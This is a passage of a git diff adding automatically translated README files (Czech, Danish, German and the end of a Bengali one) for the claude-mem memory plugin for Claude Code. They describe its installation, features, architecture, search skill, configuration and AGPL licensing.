এবং troubleshoot skill স্বয়ংক্রিয়ভাবে নির্ণয় করবে এবং সমাধান প্রদান করবে। + +সাধারণ সমস্যা এবং সমাধানের জন্য **[সমস্যা সমাধান গাইড](https://docs.claude-mem.ai/troubleshooting)** দেখুন। + +--- + +## বাগ রিপোর্ট + +স্বয়ংক্রিয় জেনারেটর দিয়ে বিস্তৃত বাগ রিপোর্ট তৈরি করুন: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## অবদান + +অবদান স্বাগত জানাই! অনুগ্রহ করে: + +1. রিপোজিটরি ফর্ক করুন +2. একটি ফিচার ব্র্যাঞ্চ তৈরি করুন +3. টেস্ট সহ আপনার পরিবর্তনগুলি করুন +4. ডকুমেন্টেশন আপডেট করুন +5. একটি Pull Request জমা দিন + +অবদান ওয়ার্কফ্লোর জন্য [ডেভেলপমেন্ট গাইড](https://docs.claude-mem.ai/development) দেখুন। + +--- + +## লাইসেন্স + +এই প্রকল্পটি **GNU Affero General Public License v3.0** (AGPL-3.0) এর অধীনে লাইসেন্সপ্রাপ্ত। + +Copyright (C) 2025 Alex Newman (@thedotmack). সর্বস্বত্ব সংরক্ষিত। + +সম্পূর্ণ বিবরণের জন্য [LICENSE](LICENSE) ফাইল দেখুন। + +**এর অর্থ কী:** + +- আপনি এই সফটওয়্যারটি অবাধে ব্যবহার, পরিবর্তন এবং বিতরণ করতে পারেন +- যদি আপনি পরিবর্তন করেন এবং একটি নেটওয়ার্ক সার্ভারে ডিপ্লয় করেন, তাহলে আপনাকে আপনার সোর্স কোড উপলব্ধ করতে হবে +- ডেরিভেটিভ কাজগুলিও AGPL-3.0 এর অধীনে লাইসেন্সপ্রাপ্ত হতে হবে +- এই সফটওয়্যারের জন্য কোনও ওয়ারেন্টি নেই + +**Ragtime সম্পর্কে নোট**: `ragtime/` ডিরেক্টরি আলাদাভাবে **PolyForm Noncommercial License 1.0.0** এর অধীনে লাইসেন্সপ্রাপ্ত। বিস্তারিত জানতে [ragtime/LICENSE](ragtime/LICENSE) দেখুন। + +--- + +## সাপোর্ট + +- **ডকুমেন্টেশন**: [docs/](docs/) +- **ইস্যু**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **রিপোজিটরি**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **লেখক**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Claude Agent SDK দিয়ে নির্মিত** | **Claude Code দ্বারা চালিত** | **TypeScript দিয়ে তৈরি** \ No newline at end of file diff --git a/docs/i18n/README.cs.md b/docs/i18n/README.cs.md new file mode 100644 index 00000000..1498130e --- /dev/null +++ b/docs/i18n/README.cs.md @@ -0,0 +1,304 @@ +🌐 Toto je automatický překlad. Komunitní opravy jsou vítány! + +--- +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Systém trvalé komprese paměti vytvořený pro Claude Code.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ Rychlý start • + Jak to funguje • + Vyhledávací nástroje • + Dokumentace • + Konfigurace • + Řešení problémů • + Licence +

+ +

+ Claude-Mem bezproblémově zachovává kontext napříč sezeními tím, že automaticky zaznamenává pozorování použití nástrojů, generuje sémantické souhrny a zpřístupňuje je budoucím sezením. To umožňuje Claude udržovat kontinuitu znalostí o projektech i po ukončení nebo opětovném připojení sezení. +

+ +--- + +## Rychlý start + +Spusťte nové sezení Claude Code v terminálu a zadejte následující příkazy: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Restartujte Claude Code. Kontext z předchozích sezení se automaticky objeví v nových sezeních. + +**Klíčové vlastnosti:** + +- 🧠 **Trvalá paměť** - Kontext přetrvává napříč sezeními +- 📊 **Postupné odhalování** - Vrstvené vyhledávání paměti s viditelností nákladů na tokeny +- 🔍 **Vyhledávání založené na dovednostech** - Dotazujte se na historii projektu pomocí dovednosti mem-search +- 🖥️ **Webové uživatelské rozhraní** - Tok paměti v reálném čase na http://localhost:37777 +- 💻 **Dovednost pro Claude Desktop** - Vyhledávejte v paměti z konverzací Claude Desktop +- 🔒 **Kontrola soukromí** - Použijte značky `` k vyloučení citlivého obsahu z úložiště +- ⚙️ **Konfigurace kontextu** - Jemně odstupňovaná kontrola nad tím, jaký kontext se vkládá +- 🤖 **Automatický provoz** - Není vyžadován žádný manuální zásah +- 🔗 **Citace** - Odkazujte na minulá pozorování pomocí ID (přístup přes http://localhost:37777/api/observation/{id} nebo zobrazit vše ve webovém prohlížeči na http://localhost:37777) +- 🧪 **Beta kanál** - Vyzkoušejte experimentální funkce jako Endless Mode přepnutím verze + +--- + +## Dokumentace + +📚 **[Zobrazit kompletní dokumentaci](docs/)** - Procházejte dokumentaci v markdown na GitHubu + +### Začínáme + +- **[Průvodce instalací](https://docs.claude-mem.ai/installation)** - Rychlý start a pokročilá instalace +- **[Průvodce použitím](https://docs.claude-mem.ai/usage/getting-started)** - Jak Claude-Mem funguje automaticky +- **[Vyhledávací nástroje](https://docs.claude-mem.ai/usage/search-tools)** - Dotazujte se na historii projektu pomocí přirozeného jazyka +- **[Beta funkce](https://docs.claude-mem.ai/beta-features)** - Vyzkoušejte experimentální funkce jako Endless Mode + +### Osvědčené postupy + +- **[Context Engineering](https://docs.claude-mem.ai/context-engineering)** - Principy optimalizace kontextu AI agenta +- **[Postupné odhalování](https://docs.claude-mem.ai/progressive-disclosure)** - Filozofie strategie přípravy kontextu Claude-Mem + +### Architektura + +- **[Přehled](https://docs.claude-mem.ai/architecture/overview)** - Systémové komponenty a tok dat +- **[Evoluce architektury](https://docs.claude-mem.ai/architecture-evolution)** - Cesta z v3 na v5 +- **[Architektura háčků](https://docs.claude-mem.ai/hooks-architecture)** - Jak Claude-Mem používá lifecycle hooks +- **[Reference háčků](https://docs.claude-mem.ai/architecture/hooks)** - Vysvětlení 7 hook skriptů +- **[Worker Service](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API a správa Bun +- **[Databáze](https://docs.claude-mem.ai/architecture/database)** - SQLite schéma a FTS5 vyhledávání +- **[Architektura vyhledávání](https://docs.claude-mem.ai/architecture/search-architecture)** - Hybridní vyhledávání s vektorovou databází Chroma + +### Konfigurace a vývoj + +- **[Konfigurace](https://docs.claude-mem.ai/configuration)** - Proměnné prostředí a nastavení +- **[Vývoj](https://docs.claude-mem.ai/development)** - Sestavení, testování, přispívání +- **[Řešení problémů](https://docs.claude-mem.ai/troubleshooting)** - Běžné problémy a řešení + +--- + +## Jak to funguje + +**Hlavní komponenty:** + +1. **5 Lifecycle Hooks** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 hook skriptů) +2. **Chytrá instalace** - Kontrola cachovaných závislostí (pre-hook skript, ne lifecycle hook) +3. **Worker Service** - HTTP API na portu 37777 s webovým prohlížečem a 10 vyhledávacími endpointy, spravováno pomocí Bun +4. **SQLite databáze** - Ukládá sezení, pozorování, souhrny +5. **mem-search dovednost** - Dotazy v přirozeném jazyce s postupným odhalováním +6. **Chroma vektorová databáze** - Hybridní sémantické + klíčové vyhledávání pro inteligentní vyhledávání kontextu + +Podrobnosti najdete v [Přehledu architektury](https://docs.claude-mem.ai/architecture/overview). + +--- + +## Dovednost mem-search + +Claude-Mem poskytuje inteligentní vyhledávání prostřednictvím dovednosti mem-search, která se automaticky vyvolá, když se ptáte na minulou práci: + +**Jak to funguje:** +- Stačí se zeptat přirozeně: *"Co jsme dělali minulé sezení?"* nebo *"Opravovali jsme tuto chybu dříve?"* +- Claude automaticky vyvolá dovednost mem-search k nalezení relevantního kontextu + +**Dostupné vyhledávací operace:** + +1. **Search Observations** - Fulltextové vyhledávání napříč pozorováními +2. **Search Sessions** - Fulltextové vyhledávání napříč souhrny sezení +3. **Search Prompts** - Vyhledávání surových požadavků uživatelů +4. **By Concept** - Hledání podle koncepčních značek (discovery, problem-solution, pattern, atd.) +5. **By File** - Hledání pozorování odkazujících na konkrétní soubory +6. **By Type** - Hledání podle typu (decision, bugfix, feature, refactor, discovery, change) +7. **Recent Context** - Získání nedávného kontextu sezení pro projekt +8. **Timeline** - Získání jednotné časové osy kontextu kolem konkrétního bodu v čase +9. **Timeline by Query** - Vyhledávání pozorování a získání kontextu časové osy kolem nejlepší shody +10. **API Help** - Získání dokumentace k vyhledávacímu API + +**Příklady dotazů v přirozeném jazyce:** + +``` +"Jaké chyby jsme opravili minulé sezení?" +"Jak jsme implementovali autentizaci?" +"Jaké změny byly provedeny v worker-service.ts?" +"Ukaž mi nedávnou práci na tomto projektu" +"Co se dělo, když jsme přidávali viewer UI?" +``` + +Podrobné příklady najdete v [Průvodci vyhledávacími nástroji](https://docs.claude-mem.ai/usage/search-tools). + +--- + +## Beta funkce + +Claude-Mem nabízí **beta kanál** s experimentálními funkcemi jako **Endless Mode** (biomimetická architektura paměti pro prodloužená sezení). Přepínejte mezi stabilní a beta verzí z webového rozhraní na http://localhost:37777 → Settings. + +Podrobnosti o Endless Mode a jak jej vyzkoušet najdete v **[Dokumentaci beta funkcí](https://docs.claude-mem.ai/beta-features)**. + +--- + +## Systémové požadavky + +- **Node.js**: 18.0.0 nebo vyšší +- **Claude Code**: Nejnovější verze s podporou pluginů +- **Bun**: JavaScript runtime a správce procesů (automaticky nainstalován, pokud chybí) +- **uv**: Python správce balíčků pro vektorové vyhledávání (automaticky nainstalován, pokud chybí) +- **SQLite 3**: Pro trvalé úložiště (součástí balíčku) + +--- + +## Konfigurace + +Nastavení jsou spravována v `~/.claude-mem/settings.json` (automaticky vytvořeno s výchozími hodnotami při prvním spuštění). Konfigurujte AI model, port workeru, datový adresář, úroveň logování a nastavení vkládání kontextu. + +Všechna dostupná nastavení a příklady najdete v **[Průvodci konfigurací](https://docs.claude-mem.ai/configuration)**. + +--- + +## Vývoj + +Podrobné pokyny k sestavení, testování a pracovnímu postupu pro přispívání najdete v **[Průvodci vývojem](https://docs.claude-mem.ai/development)**. + +--- + +## Řešení problémů + +Pokud zaznamenáváte problémy, popište problém Claude a dovednost troubleshoot automaticky diagnostikuje a poskytne opravy. + +Běžné problémy a řešení najdete v **[Průvodci řešením problémů](https://docs.claude-mem.ai/troubleshooting)**. + +--- + +## Hlášení chyb + +Vytvořte komplexní hlášení chyby pomocí automatického generátoru: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## Přispívání + +Příspěvky jsou vítány! Prosím: + +1. Forkněte repositář +2. Vytvořte feature branch +3. Proveďte změny s testy +4. Aktualizujte dokumentaci +5. Odešlete Pull Request + +Pracovní postup pro přispívání najdete v [Průvodci vývojem](https://docs.claude-mem.ai/development). + +--- + +## Licence + +Tento projekt je licencován pod **GNU Affero General Public License v3.0** (AGPL-3.0). + +Copyright (C) 2025 Alex Newman (@thedotmack). Všechna práva vyhrazena. + +Úplné podrobnosti najdete v souboru [LICENSE](LICENSE). + +**Co to znamená:** + +- Software můžete volně používat, upravovat a distribuovat +- Pokud jej upravíte a nasadíte na síťovém serveru, musíte zpřístupnit svůj zdrojový kód +- Odvozená díla musí být také licencována pod AGPL-3.0 +- Pro tento software neexistuje ŽÁDNÁ ZÁRUKA + +**Poznámka k Ragtime**: Adresář `ragtime/` je licencován samostatně pod **PolyForm Noncommercial License 1.0.0**. Podrobnosti najdete v [ragtime/LICENSE](ragtime/LICENSE). + +--- + +## Podpora + +- **Dokumentace**: [docs/](docs/) +- **Problémy**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **Repositář**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **Autor**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Vytvořeno pomocí Claude Agent SDK** | **Poháněno Claude Code** | **Vyrobeno s TypeScript** + +--- \ No newline at end of file diff --git a/docs/i18n/README.da.md b/docs/i18n/README.da.md new file mode 100644 index 00000000..e993c3db --- /dev/null +++ b/docs/i18n/README.da.md @@ -0,0 +1,302 @@ +🌐 Dette er en automatisk oversættelse. Fællesskabsrettelser er velkomne! + +--- +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Vedvarende hukommelseskomprimeringsystem bygget til Claude Code.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ Hurtig Start • + Sådan Virker Det • + Søgeværktøjer • + Dokumentation • + Konfiguration • + Fejlfinding • + Licens +

+ +

+ Claude-Mem bevarer problemfrit kontekst på tværs af sessioner ved automatisk at fange observationer af værktøjsbrug, generere semantiske resuméer og gøre dem tilgængelige for fremtidige sessioner. Dette gør det muligt for Claude at opretholde kontinuitet i viden om projekter, selv efter sessioner afsluttes eller genopretter forbindelse. +

+ +--- + +## Hurtig Start + +Start en ny Claude Code-session i terminalen og indtast følgende kommandoer: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Genstart Claude Code. Kontekst fra tidligere sessioner vil automatisk vises i nye sessioner. + +**Nøglefunktioner:** + +- 🧠 **Vedvarende Hukommelse** - Kontekst overlever på tværs af sessioner +- 📊 **Progressiv Afsløring** - Lagdelt hukommelseshentning med synlighed af token-omkostninger +- 🔍 **Færdighedsbaseret Søgning** - Forespørg din projekthistorik med mem-search-færdighed +- 🖥️ **Web Viewer UI** - Realtids hukommelsesstream på http://localhost:37777 +- 💻 **Claude Desktop-færdighed** - Søg i hukommelsen fra Claude Desktop-samtaler +- 🔒 **Privatkontrol** - Brug ``-tags til at ekskludere følsomt indhold fra lagring +- ⚙️ **Kontekstkonfiguration** - Finjusteret kontrol over hvilken kontekst der indsprøjtes +- 🤖 **Automatisk Drift** - Ingen manuel indgriben påkrævet +- 🔗 **Citationer** - Henvisning til tidligere observationer med ID'er (tilgås via http://localhost:37777/api/observation/{id} eller se alle i web viewer på http://localhost:37777) +- 🧪 **Beta-kanal** - Prøv eksperimentelle funktioner som Endless Mode via versionsskift + +--- + +## Dokumentation + +📚 **[Se Fuld Dokumentation](docs/)** - Gennemse markdown-dokumenter på GitHub + +### Kom Godt I Gang + +- **[Installationsguide](https://docs.claude-mem.ai/installation)** - Hurtig start & avanceret installation +- **[Brugervejledning](https://docs.claude-mem.ai/usage/getting-started)** - Sådan fungerer Claude-Mem automatisk +- **[Søgeværktøjer](https://docs.claude-mem.ai/usage/search-tools)** - Forespørg din projekthistorik med naturligt sprog +- **[Beta-funktioner](https://docs.claude-mem.ai/beta-features)** - Prøv eksperimentelle funktioner som Endless Mode + +### Bedste Praksis + +- **[Kontekst-engineering](https://docs.claude-mem.ai/context-engineering)** - AI-agent kontekstoptimeringsprincipper +- **[Progressiv Afsløring](https://docs.claude-mem.ai/progressive-disclosure)** - Filosofien bag Claude-Mems kontekst-priming-strategi + +### Arkitektur + +- **[Oversigt](https://docs.claude-mem.ai/architecture/overview)** - Systemkomponenter & dataflow +- **[Arkitekturudvikling](https://docs.claude-mem.ai/architecture-evolution)** - Rejsen fra v3 til v5 +- **[Hooks-arkitektur](https://docs.claude-mem.ai/hooks-architecture)** - Hvordan Claude-Mem bruger livscyklus-hooks +- **[Hooks-reference](https://docs.claude-mem.ai/architecture/hooks)** - 7 hook-scripts forklaret +- **[Worker Service](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API & Bun-administration +- **[Database](https://docs.claude-mem.ai/architecture/database)** - SQLite-skema & FTS5-søgning +- **[Søgearkitektur](https://docs.claude-mem.ai/architecture/search-architecture)** - Hybrid søgning med Chroma vektordatabase + +### Konfiguration & Udvikling + +- **[Konfiguration](https://docs.claude-mem.ai/configuration)** - Miljøvariabler & indstillinger +- **[Udvikling](https://docs.claude-mem.ai/development)** - Bygning, testning, bidrag +- **[Fejlfinding](https://docs.claude-mem.ai/troubleshooting)** - Almindelige problemer & løsninger + +--- + +## Sådan Virker Det + +**Kernekomponenter:** + +1. **5 Livscyklus-hooks** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 hook-scripts) +2. **Smart Installation** - Cached dependency checker (pre-hook script, ikke en livscyklus-hook) +3. **Worker Service** - HTTP API på port 37777 med web viewer UI og 10 søge-endpoints, administreret af Bun +4. **SQLite Database** - Gemmer sessioner, observationer, resuméer +5. **mem-search-færdighed** - Naturlige sprogforespørgsler med progressiv afsløring +6. **Chroma Vector Database** - Hybrid semantisk + søgeordssøgning for intelligent konteksthentning + +Se [Arkitekturoversigt](https://docs.claude-mem.ai/architecture/overview) for detaljer. + +--- + +## mem-search-færdighed + +Claude-Mem leverer intelligent søgning gennem mem-search-færdigheden, der automatisk aktiveres, når du spørger om tidligere arbejde: + +**Sådan Virker Det:** +- Spørg bare naturligt: *"Hvad lavede vi sidste session?"* eller *"Har vi løst denne fejl før?"* +- Claude aktiverer automatisk mem-search-færdigheden for at finde relevant kontekst + +**Tilgængelige Søgeoperationer:** + +1. **Search Observations** - Fuldtekstsøgning på tværs af observationer +2. **Search Sessions** - Fuldtekstsøgning på tværs af sessionsresumeer +3. **Search Prompts** - Søg i rå brugeranmodninger +4. **By Concept** - Find efter koncept-tags (discovery, problem-solution, pattern, osv.) +5. **By File** - Find observationer, der refererer til specifikke filer +6. **By Type** - Find efter type (decision, bugfix, feature, refactor, discovery, change) +7. **Recent Context** - Få nylig sessionskontekst for et projekt +8. **Timeline** - Få samlet tidslinje af kontekst omkring et specifikt tidspunkt +9. **Timeline by Query** - Søg efter observationer og få tidslinjekontekst omkring bedste match +10. **API Help** - Få søge-API-dokumentation + +**Eksempler på Naturlige Sprogforespørgsler:** + +``` +"Hvilke fejl løste vi sidste session?" +"Hvordan implementerede vi autentificering?" +"Hvilke ændringer blev lavet i worker-service.ts?" +"Vis mig det seneste arbejde på dette projekt" +"Hvad skete der, da vi tilføjede viewer UI?" +``` + +Se [Søgeværktøjsguide](https://docs.claude-mem.ai/usage/search-tools) for detaljerede eksempler. + +--- + +## Beta-funktioner + +Claude-Mem tilbyder en **beta-kanal** med eksperimentelle funktioner som **Endless Mode** (biomimetisk hukommelsesarkitektur til udvidede sessioner). Skift mellem stabile og beta-versioner fra web viewer UI på http://localhost:37777 → Settings. + +Se **[Beta-funktionsdokumentation](https://docs.claude-mem.ai/beta-features)** for detaljer om Endless Mode og hvordan du prøver det. + +--- + +## Systemkrav + +- **Node.js**: 18.0.0 eller højere +- **Claude Code**: Seneste version med plugin-support +- **Bun**: JavaScript runtime og procesmanager (auto-installeres, hvis manglende) +- **uv**: Python package manager til vektorsøgning (auto-installeres, hvis manglende) +- **SQLite 3**: Til vedvarende lagring (bundtet) + +--- + +## Konfiguration + +Indstillinger administreres i `~/.claude-mem/settings.json` (auto-oprettet med standardindstillinger ved første kørsel). Konfigurer AI-model, worker-port, datakatalog, log-niveau og indstillinger for kontekstindsprøjtning. + +Se **[Konfigurationsguide](https://docs.claude-mem.ai/configuration)** for alle tilgængelige indstillinger og eksempler. + +--- + +## Udvikling + +Se **[Udviklingsguide](https://docs.claude-mem.ai/development)** for bygningsinstruktioner, testning og bidragsworkflow. + +--- + +## Fejlfinding + +Hvis du oplever problemer, beskriv problemet til Claude, og troubleshoot-færdigheden vil automatisk diagnosticere og levere rettelser. + +Se **[Fejlfindingsguide](https://docs.claude-mem.ai/troubleshooting)** for almindelige problemer og løsninger. + +--- + +## Fejlrapporter + +Opret omfattende fejlrapporter med den automatiserede generator: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## Bidrag + +Bidrag er velkomne! Venligst: + +1. Fork repositoriet +2. Opret en feature-branch +3. Lav dine ændringer med tests +4. Opdater dokumentation +5. Indsend en Pull Request + +Se [Udviklingsguide](https://docs.claude-mem.ai/development) for bidragsworkflow. + +--- + +## Licens + +Dette projekt er licenseret under **GNU Affero General Public License v3.0** (AGPL-3.0). + +Copyright (C) 2025 Alex Newman (@thedotmack). Alle rettigheder forbeholdes. + +Se [LICENSE](LICENSE)-filen for fulde detaljer. + +**Hvad Dette Betyder:** + +- Du kan bruge, modificere og distribuere denne software frit +- Hvis du modificerer og implementerer på en netværksserver, skal du gøre din kildekode tilgængelig +- Afledte værker skal også licenseres under AGPL-3.0 +- Der er INGEN GARANTI for denne software + +**Bemærkning om Ragtime**: `ragtime/`-kataloget er licenseret separat under **PolyForm Noncommercial License 1.0.0**. Se [ragtime/LICENSE](ragtime/LICENSE) for detaljer. + +--- + +## Support + +- **Dokumentation**: [docs/](docs/) +- **Issues**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **Repository**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **Forfatter**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Bygget med Claude Agent SDK** | **Drevet af Claude Code** | **Lavet med TypeScript** \ No newline at end of file diff --git a/docs/i18n/README.de.md b/docs/i18n/README.de.md new file mode 100644 index 00000000..918eb11e --- /dev/null +++ b/docs/i18n/README.de.md @@ -0,0 +1,302 @@ +🌐 Dies ist eine automatisierte Übersetzung. Korrekturen aus der Community sind willkommen! + +--- +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Persistentes Speicherkomprimierungssystem entwickelt für Claude Code.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ Schnellstart • + Wie es funktioniert • + Suchwerkzeuge • + Dokumentation • + Konfiguration • + Fehlerbehebung • + Lizenz +

+ +

+ Claude-Mem bewahrt nahtlos Kontext über Sitzungen hinweg, indem es automatisch Beobachtungen zur Tool-Nutzung erfasst, semantische Zusammenfassungen generiert und diese für zukünftige Sitzungen verfügbar macht. Dies ermöglicht es Claude, die Kontinuität des Wissens über Projekte aufrechtzuerhalten, auch nachdem Sitzungen beendet wurden oder die Verbindung wiederhergestellt wird. +

+ +--- + +## Schnellstart + +Starten Sie eine neue Claude Code-Sitzung im Terminal und geben Sie die folgenden Befehle ein: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Starten Sie Claude Code neu. Kontext aus vorherigen Sitzungen wird automatisch in neuen Sitzungen angezeigt. + +**Hauptmerkmale:** + +- 🧠 **Persistenter Speicher** - Kontext bleibt über Sitzungen hinweg erhalten +- 📊 **Progressive Offenlegung** - Schichtweise Speicherabruf mit Sichtbarkeit der Token-Kosten +- 🔍 **Skill-basierte Suche** - Durchsuchen Sie Ihre Projekthistorie mit dem mem-search Skill +- 🖥️ **Web-Viewer-UI** - Echtzeit-Speicherstream unter http://localhost:37777 +- 💻 **Claude Desktop Skill** - Durchsuchen Sie den Speicher aus Claude Desktop-Konversationen +- 🔒 **Datenschutzkontrolle** - Verwenden Sie ``-Tags, um sensible Inhalte von der Speicherung auszuschließen +- ⚙️ **Kontextkonfiguration** - Feinkörnige Kontrolle darüber, welcher Kontext eingefügt wird +- 🤖 **Automatischer Betrieb** - Keine manuelle Intervention erforderlich +- 🔗 **Zitate** - Referenzieren Sie vergangene Beobachtungen mit IDs (Zugriff über http://localhost:37777/api/observation/{id} oder alle im Web-Viewer unter http://localhost:37777 anzeigen) +- 🧪 **Beta-Kanal** - Probieren Sie experimentelle Funktionen wie den Endless Mode durch Versionswechsel aus + +--- + +## Dokumentation + +📚 **[Vollständige Dokumentation anzeigen](docs/)** - Markdown-Dokumentation auf GitHub durchsuchen + +### Erste Schritte + +- **[Installationsanleitung](https://docs.claude-mem.ai/installation)** - Schnellstart & erweiterte Installation +- **[Nutzungsanleitung](https://docs.claude-mem.ai/usage/getting-started)** - Wie Claude-Mem automatisch funktioniert +- **[Suchwerkzeuge](https://docs.claude-mem.ai/usage/search-tools)** - Durchsuchen Sie Ihre Projekthistorie mit natürlicher Sprache +- **[Beta-Funktionen](https://docs.claude-mem.ai/beta-features)** - Probieren Sie experimentelle Funktionen wie den Endless Mode + +### Best Practices + +- **[Context Engineering](https://docs.claude-mem.ai/context-engineering)** - Prinzipien der Kontextoptimierung für KI-Agenten +- **[Progressive Disclosure](https://docs.claude-mem.ai/progressive-disclosure)** - Philosophie hinter Claude-Mems Kontext-Priming-Strategie + +### Architektur + +- **[Übersicht](https://docs.claude-mem.ai/architecture/overview)** - Systemkomponenten & Datenfluss +- **[Architekturentwicklung](https://docs.claude-mem.ai/architecture-evolution)** - Die Reise von v3 zu v5 +- **[Hooks-Architektur](https://docs.claude-mem.ai/hooks-architecture)** - Wie Claude-Mem Lifecycle-Hooks verwendet +- **[Hooks-Referenz](https://docs.claude-mem.ai/architecture/hooks)** - 7 Hook-Skripte erklärt +- **[Worker Service](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API & Bun-Verwaltung +- **[Datenbank](https://docs.claude-mem.ai/architecture/database)** - SQLite-Schema & FTS5-Suche +- **[Such-Architektur](https://docs.claude-mem.ai/architecture/search-architecture)** - Hybride Suche mit Chroma-Vektordatenbank + +### Konfiguration & Entwicklung + +- **[Konfiguration](https://docs.claude-mem.ai/configuration)** - Umgebungsvariablen & Einstellungen +- **[Entwicklung](https://docs.claude-mem.ai/development)** - Erstellen, Testen, Beitragen +- **[Fehlerbehebung](https://docs.claude-mem.ai/troubleshooting)** - Häufige Probleme & Lösungen + +--- + +## Wie es funktioniert + +**Kernkomponenten:** + +1. **5 Lifecycle-Hooks** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 Hook-Skripte) +2. **Smart Install** - Gecachter Abhängigkeitsprüfer (Pre-Hook-Skript, kein Lifecycle-Hook) +3. **Worker Service** - HTTP API auf Port 37777 mit Web-Viewer-UI und 10 Such-Endpunkten, verwaltet von Bun +4. **SQLite-Datenbank** - Speichert Sitzungen, Beobachtungen, Zusammenfassungen +5. **mem-search Skill** - Natürlichsprachliche Abfragen mit progressiver Offenlegung +6. **Chroma-Vektordatenbank** - Hybride semantische + Stichwortsuche für intelligenten Kontextabruf + +Siehe [Architekturübersicht](https://docs.claude-mem.ai/architecture/overview) für Details. + +--- + +## mem-search Skill + +Claude-Mem bietet intelligente Suche durch den mem-search Skill, der sich automatisch aktiviert, wenn Sie nach früheren Arbeiten fragen: + +**Wie es funktioniert:** +- Fragen Sie einfach natürlich: *"Was haben wir in der letzten Sitzung gemacht?"* oder *"Haben wir diesen Fehler schon einmal behoben?"* +- Claude aktiviert automatisch den mem-search Skill, um relevanten Kontext zu finden + +**Verfügbare Suchoperationen:** + +1. **Search Observations** - Volltextsuche über Beobachtungen +2. **Search Sessions** - Volltextsuche über Sitzungszusammenfassungen +3. **Search Prompts** - Durchsuchen von rohen Benutzeranfragen +4. **By Concept** - Suche nach Konzept-Tags (discovery, problem-solution, pattern, etc.) +5. **By File** - Beobachtungen finden, die bestimmte Dateien referenzieren +6. **By Type** - Suche nach Typ (decision, bugfix, feature, refactor, discovery, change) +7. **Recent Context** - Aktuellen Sitzungskontext für ein Projekt abrufen +8. **Timeline** - Einheitliche Zeitachse des Kontexts um einen bestimmten Zeitpunkt herum abrufen +9. **Timeline by Query** - Nach Beobachtungen suchen und Zeitachsenkontext um die beste Übereinstimmung herum abrufen +10. **API Help** - Such-API-Dokumentation abrufen + +**Beispiele für natürlichsprachliche Abfragen:** + +``` +"What bugs did we fix last session?" 